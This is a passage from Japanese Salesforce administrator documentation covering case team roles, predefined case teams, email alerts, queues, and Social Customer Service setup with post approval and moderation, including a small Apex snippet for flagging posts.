1. [設定] から、[クイック検索]ボックスに「ケースチーム内の役割」と入力し、

[ケースチーム内の役割] を選択します。
2. [新規] をクリックし、役割の名前を入力します。
3. [ケースのアクセス権] から、ケースに対するその役割のアクセスレベルを選

択します。
参照・更新

ユーザは、ケースの参照と編集、ケースへの関連レコード、メモ、添付
ファイルの追加ができます。

参照のみ
メンバーは、ケースの参照、ケースへの関連レコードの追加ができます。

非公開
メンバーはケースにアクセスできません。

4. ケースを参照しているカスタマーポータルユーザにこの役割のメンバーを表
示するには、[カスタマーポータルに公開]を選択します。[カスタマーポータ
ルに公開] が選択されていなくても、ケースチームに追加されたカスタマー
ポータルユーザは [ケースチーム] 関連リストに自分自身が表示されます。

5. [保存] をクリックします。

メモ: 役割は削除できませんが、役割の横にある [置換]をクリックしてすべてのケースで役割を置き換え
ることができます。組織の役割が 1 つの場合、置き換えることはできません。

ヒント: 役割によってケース所有者のケースへのアクセス権 (デフォルトは「参照・更新」) が変わること
はありません。

ケースチームの事前定義
ケースチーム内の役割を定義したら、サポートエージェントがケースに関して頻繁に協働するユーザをす
ばやく追加できるように、ケースチームを事前定義できます。
ケースチーム用のメールアラートの設定
ケースチーム用のメールアラートを作成して、ケースが作成または更新されるたびにチームメンバーに通
知されるようにします。

関連トピック:

ケースチーム
ケースチームの設定
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ケースチームの事前定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースチームを設定する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

チームメンバーを追加す
る
• ケースに対する「編

集」

ケースチーム内の役割を定義したら、サポートエージェントがケースに関して
頻繁に協働するユーザをすばやく追加できるように、ケースチームを事前定義
できます。
1. [設定] から、[クイック検索] ボックスに「定義済みのケースチーム」と入力

し、[定義済みのケースチーム] を選択します。
2. [新規] をクリックし、チームの名前を入力します。
3. チームメンバーを追加します。

a. チームメンバー種別を選択します ([ユーザ]、[取引先責任者]、[カスタマー
ポータルユーザ] のいずれか)。取引先責任者がケースにアクセスできるの
は、カスタマーポータルユーザとして有効化され、ケースページレイア
ウトに割り当てられている場合のみです。

b. [ルックアップ] ( ) をクリックし、メンバーを選択します。
c. メンバーの役割を選択します。

4. [保存] をクリックします。

メモ: 定義済みのケースチームを削除するには、まず割り当てルールから
削除します。定義済みケースチームを削除すると、関連付けられているす
べてのケースから削除され、ごみ箱から元に戻すことはできません。定義
済みのケースチームからメンバーを削除すると、チームメンバーとして担
当していたすべてのケースから削除されます。

関連トピック:

ケースチーム
ケースチームの設定
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ケースチーム用のメールアラートの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースチームを設定する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

ワークフロールールを作
成または変更する
• 「アプリケーションの

カスタマイズ」

メールアラートを作成ま
たは変更する
• 「アプリケーションの

カスタマイズ」

ケースチーム用のメールアラートを作成して、ケースが作成または更新される
たびにチームメンバーに通知されるようにします。
1. 通知用のメールテンプレートを作成します。
2. ワークフロールールを設定して、ケースにどのアクションが行われたらチー

ムメンバーにメールアラートを送信するかを指定します。
a. [設定] から、[クイック検索]ボックスに「ワークフロールール」と入力し、

[ワークフロールール] を選択します。
b. [新規ルール] をクリックします。
c. [オブジェクトの選択] で、[ケース] を選択し、[次へ] をクリックします。
d. ルールの名前を入力します。
e. 評価条件を選択します。すべてのケースがメールアラートに対して評価

されるように、評価条件を [レコードが次の場合にルールを評価: 作成さ
れたとき、および編集されるたび] に設定することをお勧めします。

f. ルール条件を入力します。[条件が一致する]を選択し、メールアラートを
送信するためにケースが一致する必要のある条件を選択することをお勧
めします。たとえば、ケースの状況が「新規」に設定されるたびにチー
ムメンバーがメールアラートを受け取るようにする場合は、条件を「ケー
ス: 状況 次の文字列と一致する 新規」に設定します。

g. [保存 & 次へ] をクリックします。

3. メールアラートをワークフロールールの条件に追加します。
a. [ワークフローアクションの追加]をクリックして[新規メールアラート]を

選択します。
b. メールアラートの説明と一意の名前を入力します。ワークフロールール

のオブジェクトとしてケースを選択したので、オブジェクトは参照のみとして表示されます。
c. メールテンプレートを選択します。
d. ワークフロールールからメールアラートを受信するユーザを選択します。ケースチームのすべてのメン

バーを選択するには、[受信者種別] で [ケースチーム] を選択し、チームを選択済みメール受信者として
追加します。さらに最大 5 つのメールアドレスを追加できます。

e. [保存] をクリックします。

4. ワークフロールールとそのメールアラートを有効にします。
a. [設定] から、[クイック検索]ボックスに「ワークフロールール」と入力し、[ワークフロールール]を選択

します。
b. ルール名の横にある [有効化] をクリックします。
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メモ: いつでも [無効化] をクリックすれば、ルールによるメールアラートの送信を停止できます。待
機中のアクションがあるルールを無効にすると、そのルールをトリガしたケースが更新されない限
り、待機中のアクションは完了します。

関連トピック:

ケースチーム
ケースチームの設定
メールテンプレートの管理

キュー
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

サービス契約キューを使
用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

リードキューおよびケー
スキューはDatabase.com
Edition では使用できませ
ん。

ワークロードを共有するチームへのレコードの優先度付け、配布、割り当てを
行います。リストビューからキューにアクセスします。キューメンバーはキュー
内の任意のレコードの所有権を持つことができます。キューメンバーは、ケー
ス、リード、注文、カスタムオブジェクト、サービス契約、ナレッジ記事バー
ジョンに使用できます。
レコードを手動でキューに追加するには、レコードの所有者をキューに変更し
ます。または、割り当てルールを使用して、特定のレコード条件に基づいてケー
スやリードをキューに追加することもできます。レコードは、所有者に割り当
てられるまでキューに留まります。キューのメンバーまたはロール階層で上位
のユーザは、キューのレコードの所有権を取得できます。

例:

• 特定の営業テリトリーに割り当てられた営業担当であるメンバーでリー
ドキューを作成します。

• 各種のサービスレベルに割り当てられたサポートエージェントであるメ
ンバーでケースキューを作成します。

• 新バージョンの記事を特定の言語に翻訳できるユーザであるナレッジ記
事バージョンのキューメンバーを作成します。

関連トピック:

キューの作成
ケースチーム
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キューの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

サービス契約キューを使
用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

リードキューおよびケー
スキューはDatabase.com
では使用できません。

ユーザ権限

キューを作成または変更
する
• 「アプリケーションの

カスタマイズ」

および

「公開リストビューの
管理」

他のユーザが作成した
キューを変更する
• 「アプリケーションの

カスタマイズ」

および

「公開リストビューの
管理」および「ユーザ
の管理」

ワークロードを共有するチームへのレコードの優先度付け、配布、割り当てを
行います。作成できるキューの数に制限はありません。キューメンバーにいつ
メール通知を送信するかを選択できます。
1. [設定] から、[クイック検索] ボックスに「キュー」と入力し、[キュー] を選

択します。
2. [新規] をクリックします。
3. 表示ラベルとキュー名を入力します。表示ラベルはユーザの作業元のリスト

ビューの名前です。
4. 新規レコードがキューに追加されたときに通知する対象を選択します。
5. 組織でディビジョンを使用している場合は、キューのデフォルトのディビ

ジョンを選択します。ケースは、ケースが関連する取引先責任者のディビ
ジョンを継承しますが、取引先責任者が存在しない場合は、デフォルトのグ
ローバルディビジョンに割り当てられます。

6. キューに含めるオブジェクトを追加します。
7. キューのメンバーを追加します。メンバーは個々のユーザ、ロール、公開グ

ループ、テリトリー、接続、またはパートナーユーザです。
共有設定に応じて、キュー内のレコードの所有権を持つことができるのは、
そのキューのメンバー、およびロール階層内で上位にあるユーザのみです。

8. キューを保存します。
9. 必要に応じて、リードまたはケースのキューの割り当てルールを設定する

と、特定の条件を満たすレコードが自動的にキューに追加されます。

関連トピック:

キュー
ケースチーム
割り当てルールの設定
ナレッジ記事: キューメンバーへメール通知を停止する方法
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ソーシャルカスタマーサービスの追加

ソーシャルカスタマーサービスへようこそ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

ソーシャルカスタマー
サービスを使用可能なエ
ディション: API が有効に
なっている Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルカスタマー
サービスを管理する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィード項目を作
成する
• 「ケースオブジェクト

上でのすべての関連オ
ブジェクトのフィード
追跡」

ソーシャルメディア投稿
またはメッセージを送信
および受信する
• 「ケースフィードの有

効化」

および

「ソーシャルアカウン
トへのアクセス」

ソーシャルカスタマーサービスでは、ソーシャルメディアの投稿からケースや
リードを作成し、カスタマイズされた応答を同じソーシャルメディアチャネル
で送信できます。

メモ: ソーシャルカスタマーサービス設定、モデレーションおよび認証の
ページ、ケースフィードの返信アクションは、Salesforce Classicでのみ使用で
きます。

重要: 追跡するソーシャル取引先が 2 つ以下であれば、無料の Starter Pack を
使用できます。3 つ以上の場合は、十分な Social Studio アカウントが必要で
す。

ソーシャルカスタマーサービスが Radian6 および Social Studio と統合され、サービ
スエージェントと営業担当は Facebook、Twitter、Instagram、およびその他のソー
シャルネットワークで作成されたケースとリードに応答することで、顧客との
関係を構築できます。

リリースの状態ソーシャルネットワーク

正式リリースFacebook

正式リリースTwitter

正式リリースInstagram

パイロットプログラムGoogle+

パイロットプログラムSina Weibo

ケースのソーシャルパブリッシャーアクションまたはリードフィードは、顧客
や見込み客に返信するための主なインターフェースです。受信ソーシャル投稿
と発信ソーシャル投稿は、フィードの項目として表示されるため、簡単に会話
のスレッドを追跡できます。権限セットを使用すると、管理するソーシャル取
引先へのアクセス権を異なるユーザセットに付与できます。標準のデフォルト
設定は、受信ソーシャル投稿の処理方法を制御します。必要に応じて、Apex ク
ラスを変更して、独自のカスタムビジネスロジックを適用できます。

メモ: リードが取引先または取引先責任者に変換されるときに、フィード
内のソーシャル項目は削除されます。

Salesforce1 では、エージェントはモバイルデバイスからソーシャルコンテンツを
参照し、返信できます。
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Twitter アカウントの場合、エージェントはケースフィードとリードフィードを使用して、対応中のコンテンツ
の参照、リツイート、「いいね!」としてマーク、ツイートのフォロー、ツイートおよびダイレクトメッセー
ジへの返信の送信、ソーシャルアカウントで管理しているツイートの削除を実行できます。
Facebook アカウントの場合、ケースとリードは管理された Facebook ページから作成され、エージェントはフィー
ドを使用して、返信先コンテンツの参照、投稿やコメントに対するいいね! の実行、投稿、コメント、返信、
非公開メッセージの送信、ソーシャルアカウントで管理されている投稿の削除ができます。
Facebook と Twitter の両方について、[ソースを表示] リンクをクリックするとネイティブのソーシャルメディア
Web サイトで項目を開くことができます。コンテキストを把握できるため、より確かな情報に基づいた応答を
提供できます。
Instagram の #ハッシュタグをソーシャルカスタマーサービスに同期し、ブランドの #ハッシュタグが Instagram

でメンションされたときにソーシャル投稿を受信できます。Instagram の #ハッシュタグのリスンを有効化する
には、ソーシャルハブアカウントで、ブランドの #ハッシュタグがメンションされたときに投稿を受信する
ルールを作成します。

Enterprise Edition、Performance Edition、Unlimited Editionソーシャルカスタマーサービスの制限

2000 件の取引先。[ソーシャルカスタマーサービスの設定] には、1

ページに 500 件までの管理ソーシャル取引先が表示されます。
有効な管理ソーシャル取引先の最大数

200 個の投稿タグ投稿タグの最大数

100 エラー。エラーが 100 件に達すると、エラーが解決するまで受
信投稿は停止します。システム管理者は、投稿が正しく処理されて
いることを確認できます。

受信投稿が一時停止されるまでのエラー
の最大数

関連トピック:

ソーシャルカスタマーサービスの実装
ソーシャルアクションのヒント
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)
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ソーシャルカスタマーサービスの実装
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルカスタマー
サービスを管理する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィード項目を作
成する
• ケースオブジェクト上

でのすべての関連オブ
ジェクトのフィード追
跡

組織でソーシャルカスタマーサービスを有効にし、サポートエージェントの操
作をカスタマイズします。
• ソーシャルカスタマーサービスの設定
• ソーシャルアクションインターフェースの作成
• ソーシャルカスタマーサービスのモデレーションの有効化
• デフォルトの Apex クラスの変更

関連トピック:

ソーシャルカスタマーサービスの設定
ソーシャル投稿の承認の有効化
ソーシャルカスタマーサービスのモデレーションの有効化
ソーシャルアクションインターフェースの作成
デフォルトの Apex クラスの変更
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイ
ド)
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ソーシャルカスタマーサービスの設定
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルカスタマー
サービスを管理する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィード項目を作
成する
• ケースオブジェクト上

でのすべての関連オブ
ジェクトのフィード追
跡

ソーシャルカスタマーサービスを有効にして、ソーシャルカスタマーサービス
パッケージをインストールし、ソーシャルアカウントを同期して、ソーシャル
ハンドルを割り当てます。

重要: 追跡するソーシャル取引先が 2 つ以下であれば、無料の Starter Pack を
使用できます。3 つ以上の場合は、十分な Social Studio アカウントが必要で
す。

Marketing Cloud の Social Studio に含まれている Radian6 を使用するとソーシャルメ
ディアを監視できます。無料の Starter Pack では、明示的に Radian6 にログインす
る必要はありません。ただソーシャルアカウントを 2 つまで接続するだけで、
Salesforce によって残りの詳細が処理されます。Social Studio のお客様は、Service

Cloud と同期できるデータソースを Social Studio で設定します。

重要: ケースフィード項目を作成するには、すべての関連オブジェクトの
ケースフィード追跡が有効化されている必要があります。「Salesforce Classic

でのケースの設定」 (ページ3135)を参照してください。リードの場合、[設定]

から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィード追
跡]を選択して [フィード追跡の有効化]および [すべての関連オブジェクト]

がオンになっていることを確認します。リードが取引先または取引先責任
者に変換されるときに、フィード内のソーシャル項目は削除されます。

1. [設定] から、[クイック検索] ボックスに「ソーシャルメディア」と入力し、
[ソーシャルカスタマーサービス] を選択します。

ヒント:  [ソーシャルメディア] セクションをよりすばやく表示するため
のショートカットとして「med」と入力します。

2. [設定] タブで、[ソーシャルカスタマーサービスの有効化] をオンにします。
3. 投稿を送信する前に承認が必要な場合は、[ソーシャル投稿の承認を有効化]

をオンにします。
ジョブトレーニングまたは良質のレビュープロセスの一環として、自由に投稿するのではなく、投稿の承
認を一部のエージェントに求めることがあります。承認プロセスおよびユーザ権限を使用して、選択され
たエージェントは、ソーシャル投稿の承認申請、投稿の取り消し、投稿の再試行または再申請を行うこと
ができます。承認者は、投稿の公開を承認および却下できます。「ソーシャル投稿の承認の有効化」 (ペー
ジ 3542)を参照してください。

4. 新しい投稿を親投稿 (ケースを生成した最初の投稿) に対応付ける場合、[追加されたコンテキストの親投稿
の取得を有効化] を選択します。

5. [Radian6 のログイン情報] で、[アカウントを作成] をクリックして Starter Pack で Social Studio アカウントを
作成するか、[ログイン] をクリックして Social Studio ログイン情報を入力します。

メモ: ソーシャルカスタマーサービス Starter Pack を使用する場合は、ソーシャルネットワークからソー
シャルカスタマーサービスと最大 2 件のソーシャルアカウントを有効にできます。たとえば、1 つの
Twitter アカウントを追加している場合、1 つの Facebook アカウントのみを追加できます。Social Studio ア
カウントから Starter Pack にダウングレードすることはできません。Starter Pack ではモデレーション機能
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はサポートされていないため、すべての投稿はケースになり、デフォルトのApexコードはカスタマイ
ズできません。

6. [ソーシャルアカウント] タブで、[取引先の追加]をクリックしてソーシャルネットワーク (Twitter や Facebook

など) を選択します。
ソーシャルネットワークが開き、取引先の認証が求められます。取引先が認証されたら、[ソーシャルアカ
ウント] タブにリダイレクトされます。

メモ: 「申し訳ございません。現在 Facebook ビジネスアカウントの登録はサポートされていません。」
または「サポートされていない機能のため Facebook アカウントを追加できません。」エラーが表示さ
れる場合、Facebook ページでのユーザ名の設定が必要な可能性があります。

7. [取引先の追加] の横にある更新アイコンをクリックします。

警告: ソーシャル取引先を削除すると、Social Studio を含むすべての場所で削除されます。このアクショ
ンは元に戻すことができません。

8. Starter Pack を使用している場合は、[ケースの作成]チェックボックスをオンにして、ソーシャルアカウント
から投稿が行われたときにケースを自動的に作成することを示します。
たとえば、2 つの Twitter ハンドル (1 つはサポート用、もう 1 つはマーケティングまたはブランドに焦点を
絞った情報用) がある場合、サポートハンドルからのみケースを自動的に作成することができます。マーケ
ティングハンドルのツイートは、確認のためソーシャル投稿キューに入ります。「ソーシャル投稿の管理」
(ページ 2808)を参照してください。

メモ: フルバージョンのソーシャルカスタマーサービスを使用している場合は、Social Studio からケー
スのモデレーションを設定できます。「ソーシャルカスタマーサービスのモデレーションの有効化」
(ページ 3543)を参照してください。

9. 管理ソーシャル取引先のポートフォリオがある場合、Twitter、Instagram (パイロット)、および Sina Weibo (パ
イロット) のアカウントごとに [次からのデフォルトの応答] を設定します。これにより、@acmehelp や
@acmesupport などの専用のサポートハンドルを設定して、ブランドのサポートを標準化および浸透させる
ことができます。また、指定された取引先はソーシャルパブリッシャーの取引先ドロップダウンでデフォ
ルト値として表示されるため、エージェントが発信投稿を送信するときのクリック数が少なくなります。
デフォルトの応答処理はページ処理のみに限定されているため、Twitter ダイレクトメッセージには適用さ
れず、Facebook、Google Plus、LinkedIn に影響することもありません。

10. [受信設定]タブでは、どのApexクラスが、組織での受信コンテンツの処理方法や、実行するように設定さ
れているユーザを制御しているかを参照できます。デフォルトのApexクラスを使用している場合は、受信
ソーシャルデータの処理方法を決定する受信ビジネスルールを選択できます。
ケースの再オープンの有効化

同じソーシャル人格からの新規投稿がクローズケースに関連付けられている場合、指定日数以内にケー
スが再オープンされます。日数は 1 日以上 3,000 日以下で指定する必要があります。

個人取引先の使用
ソーシャル人格の親レコードに選択された種別の個人取引先を割り当てます。

投稿タグのケースの作成
選択された投稿タグがソーシャル投稿に存在する場合に、ソーシャルハブのケースの作成ルールを上書
きし、ケースを作成します。投稿タグは、「この投稿のトピックは?」という質問に回答するために使
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用されます。ソーシャルハブで設定される投稿タグは、個々の投稿の内容に関するコンテキストをより
多く提供するのに役立ちます。

メモ: ソーシャルカスタマーサービスには 200 件の投稿タグのみが表示されます。それより多くの
投稿タグが Social Studio にある場合は、そのプログラム内で参照できます。

デフォルトの Apex クラスによって、ソーシャル投稿、ソーシャル人格、ケース、取引先責任者が作成さ
れ、一般的な使用事例がサポートされます。デフォルトのApexクラスの変更については、「デフォルトの
Apex クラスの変更」を参照してください。

メモ:  Starter Pack を使用している場合、Apexクラスは変更できませんが、その実行ユーザは変更できま
す。

11. ソーシャルハンドルをプロファイルまたは権限セットに割り当てるには、[設定] から次の操作を実行しま
す。
• [クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
• [クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択します。

12. 既存のプロファイルまたは権限セットをクリックするか、新しく作成します。
13. [アプリケーション] セクションで、[割り当て済みソーシャル取引先] をクリックします。
14. [編集] をクリックします。

15. ユーザが使用できるようにする必要があるソーシャル取引先をこのプロファイルまたは権限セットに割り
当てます。

重要: すべてのユーザには、ステップ 8 で選択または作成したプロファイルまたは権限セットが必要
です。

16. 変更内容を保存します。
17. プロファイルまたは権限セットの項目の表示設定が正しいことを確認します。

• プロファイルの場合、[設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイ
ル] を選択して、以前に選択または作成したプロファイルを選択します。次に、[項目レベルセキュリ
ティ] セクションで、[ソーシャル投稿] を選択します。
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• 権限セットの場合、[設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット] を
選択して、以前に選択または作成した権限セットを選択します。次に、[オブジェクト設定]をクリック
して、[ソーシャル投稿] を選択します。

18. [編集] をクリックします。[項目権限] の使用可能なすべての項目が、プロファイルの場合は [参照可能] ([参
照のみ] ではない)、権限セットの場合は [編集] に設定されていることを確認します。[保存]をクリックしま
す。

19. 必要に応じて、クイックテキストを設定して、エージェントがソーシャルネットワークへの返信の定型文
を作成できるようにします。「クイックテキストの有効化」を参照してください。

20. 必要に応じて、外部コミュニティユーザとポータルユーザにソーシャル投稿の参照アクセス権を付与しま
す。
コミュニティおよびポータルでソーシャル投稿を使用可能にするには、次の 3 つの要件があります。
• ユーザがコミュニティでケースにアクセスできることを確認します。
• ユーザのプロファイルでソーシャル投稿への参照権限を付与します。
• 組織のソーシャル投稿オブジェクトで、項目レベルセキュリティ設定を使用して個々のユーザへの表示

を有効にします。

メモ: 以上の要件が満たされると、外部ユーザに公開されたすべてのソーシャル投稿を表示できます。
たとえば、ケースまたはリードフィードが外部に公開された場合、フィードのすべてのソーシャル投
稿が表示されます。ソーシャル投稿オブジェクトレベルで表示を制限する方法はありません。

ソーシャルカスタマーサービスの使用を開始してから最初の数か月は、ソーシャル人格およびソーシャル投稿
オブジェクトの履歴管理を有効にすることをお勧めします。履歴管理は、いつ誰がどんな変更を行ったかを確
認するために役立ち、自動変更と手動変更を区別できます。
2,000 件までの管理ソーシャル取引先を Social Studio から同期できます。ただし、[設定] の [ソーシャルカスタマー
サービスの設定] ページには、500 件までの管理ソーシャル取引先のみが表示されます。エージェントは、ケー
スフィードで、ソーシャルパブリッシャーのすべての同期済み取引先から応答できます。同期するソーシャル
アカウントが 500 件より多い場合は、設定ページの読み込みに最低 1 分かかります。

関連トピック:

項目履歴管理
ソーシャル取引先を再接続する方法
ソーシャルカスタマーサービスの実装
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)
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ソーシャル取引先を再接続する方法
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルカスタマー
サービスを管理する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィード項目を作
成する
• 「ケースオブジェクト

上でのすべての関連オ
ブジェクトのフィード
追跡」

ソーシャルメディア投稿
またはメッセージを送信
および受信する
• ケースフィードを有効

化

および

「ソーシャルアカウン
トへのアクセス」

ソーシャル取引先をソーシャルカスタマーサービスに再接続します。
ソーシャルメディアネットワークプロバイダの接続またはトークンが期限切れ
になった場合、ソーシャル取引先はソーシャルカスタマーサービスから切断さ
れます。多くのプロバイダの有効期限ポリシーは 60 日または 90 日です。
1. [設定] から、[クイック検索] ボックスに「ソーシャルメディア」と入力し、

[設定] を選択します。
2. [ソーシャルアカウント]タブで、[アクション]列の [再認証]をクリックしま

す。
ソーシャルネットワークが開き、取引先の認証が求められます。取引先が再
認証されたら、[ソーシャルアカウント] タブにリダイレクトされます。

関連トピック:

ソーシャルカスタマーサービスの設定
ソーシャルカスタマーサービスへようこそ
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイ
ド)
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ソーシャル投稿の承認の有効化
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルカスタマー
サービスを管理する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィード項目を作
成する
• 「ケースオブジェクト

上でのすべての関連オ
ブジェクトのフィード
追跡」

ソーシャルケアエージェントは、顧客の問題の解決者であり、Facebook や Twitter

などのソーシャルネットワークのブランドの代弁者でもあります。組織のソー
シャルメディア戦略と一致する一貫した語調と構文でエージェントが書き込む
ように、ガイドラインを設けることができます。たとえば、「~John」などの標
準の方法で自分のツイートに署名するよう、ソーシャルエージェントに要求す
る場合があります。
Salesforce システム管理者は、承認プロセスを作成し、エージェントおよび承認
者の権限を適宜割り当てることができます。
1. [設定] から、[クイック検索] ボックスに「ソーシャルメディア」と入力し、

[設定] を選択します。
2. [ソーシャル投稿の承認を有効化] を選択します。
3. ジャンプスタートウィザードまたは標準ウィザードのいずれかを使用して、

ソーシャル投稿の承認プロセスを作成および有効化します。

重要: ジャンプスタートウィザードは、Salesforce で承認プロセスを作成
するための合理的な方法です。ただし、ジャンプスタートウィザードで
は [申請者が承認者を手動で選択する] オプションはサポートされませ
ん。このオプションを選択すると、エージェントが後で投稿を承認申請
するときにエラーが発生します。

4. [設定] から、[管理] > [ユーザの管理] > [権限セット] に移動します。
5. 新しい [ソーシャル投稿の承認が必要] ユーザ権限を有効にします。
6. 権限セットを使用して [ソーシャル投稿の承認が必要]ユーザ権限を、投稿の

送信前にレビューを受ける必要があるエージェントに割り当てます。
ユーザ権限を割り当てる場合、次の 2 点に注意してください。
• 投稿の承認は公開用に自動的に申請されるため、承認者はソーシャル取引先に対してレビュー対象の

エージェントと同じアクセス権を持っている必要があります。アクセス権がない場合、承認する投稿で
エラーが発生します。

• ユーザ権限に [ソーシャル投稿の承認が必要]が含まれていると、ソーシャルパブリッシャーの送信ボタ
ンに「コメント」や「ツイート」などではなく、常に[承認申請]と表示されます。これは、ユーザに適
用する有効な承認プロセスがない場合でも同様です。その場合は、有効な承認プロセスがないため、[承
認申請] をクリックするとソーシャル投稿が通常どおりに公開されます。

詳細は、「標準ウィザードを使用した承認プロセスの作成」 (ページ5897)、「承認プロセス作成の準備」 (ペー
ジ 5893)および「承認プロセスのサンプル」を参照してください。

ヒント: エージェントがケースフィードの代わりにソーシャル投稿のレコード詳細ページで作業する場合
は、承認関連リストをページレイアウトから削除することをお勧めします。同じページレイアウトは、
受信ソーシャル投稿と発信ソーシャル投稿で共有されます。承認関連リストを削除すると、承認プロセ
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スに無効な候補である受信投稿を表示する場合に混乱が回避されます。承認者は、メール、Chatter、リス
トビューなど、他のすべての標準手段を使用して、引き続き投稿を承認または却下できます。

関連トピック:

項目履歴管理
ソーシャルカスタマーサービスの実装
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)

ソーシャルカスタマーサービスのモデレーションの有効化
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルカスタマー
サービスを管理する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

モデレーションを使用して、受け取った投稿に優先順位を付け、アクションの
実行が可能な支援要求の投稿のみケースを作成します。モデレーションは、本
当に問題を抱えている顧客に焦点を当て、必要のないケースを開くことを回避
するのに役立ちます。
すべての投稿にケースが必要なわけではありません。たとえば、称賛のツイー
トや投稿にエージェントのサポートは必要ありません。ただし、デフォルトの
ソーシャルカスタマーサービスが設定されている場合、各ソーシャル投稿から
ケースが自動的に作成されます。モデレーションを使用することにより、エー
ジェントはケースを取得する投稿と無視する投稿を管理できます。モデレーショ
ンは Social Studio アカウントのソーシャルハブルールで有効化され、自動ケース
作成がオフにされます。

メモ:  Starter Pack を使用すると、[ソーシャルアカウント] タブで、特定のソー
シャルアカウントから投稿が行われたときにケースを自動的に作成するか
どうかを決定できます。「ソーシャルカスタマーサービスの設定」 (ページ
3538)を参照してください。

1. ソーシャルハブアカウントで [ルール] タブをクリックします。
2. ルールを作成するか、既存のルールを使用して、Salesforce でケースが作成さ

れないことを指定します。
たとえば、ルールを次のように設定します。
a. アクション: Salesforce に送信。
b. [ケースを作成] チェックボックスがオフ。

3. ルールを保存して有効化します。

メモ: ルールはすべてのソーシャル投稿に有効にするか、特定の管理対象アカウントからの投稿のみ
に有効にできます。

カスタムApexケースロジックを実装して、ケース作成をカスタマイズすることもできます。これを行うには、
[設定] から、[クイック検索] ボックスに「ソーシャルメディア」と入力し、[設定] を選択します。「デフォル
トの Apex クラスの変更」を参照してください。

メモ:  Spring '16 より前にソーシャルカスタマーサービスの使用を開始していて、カスタム Apex クラスを使
用している場合、最新のモデレーション機能を利用するには Apex クラスの更新が必要になる可能性があ
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ります。カスタム Apex がデフォルトの Apex クラスから拡張されている場合は、コールするデフォルトの
apex 関数の更新を取得します。カスタム Apex がデフォルトの Apex クラスから拡張されていない (デフォル
トをコピーして変更した) 場合は、手動で更新する必要があります。
カスタム Apex クラスを手動で更新するには、次のコードを追加して、モデレーションソーシャル投稿リ
ストビューを更新します。
1. 投稿ですべてのリレーションが設定されたら、投稿を挿入する前に次のメソッドを直接コールしま

す。
private void setModeration(SocialPost post){

//if we don't automatically create a case, we should flag the post as requiring
moderator review.

if(post.parentId == null)
post.reviewedStatus = 'Needed';

}

デフォルトの Apex の行 50 と行 61 ～ 65 を参照してください。

2. 次のモデレーションソーシャル投稿リストの検索条件を更新します。
Parent EQUAL TO "" AND ReviewStatus NOT EQUAL TO "ignore"

変更後
Parent EQUAL TO "" AND ReviewStatus EQUAL TO "Needed"

現在モデレーションキューにあるソーシャル投稿を引き続き追跡できるようにするには、新しい検索条
件でリストビューを作成して、新旧の検索条件で同じ結果が表示されたら新しいリストビューに切り替
えます。

関連トピック:

項目履歴管理
ソーシャルカスタマーサービスの実装
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)
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ソーシャルアクションインターフェースの作成
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルカスタマー
サービスを管理する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィード項目を作
成する
• ケースオブジェクト上

でのすべての関連オブ
ジェクトのフィード追
跡

ソーシャルアクションは、ソーシャルカスタマーサービスがインストールされ
ている場合に作成されます。組織に合わせて、項目を追加、削除、整理できま
す。
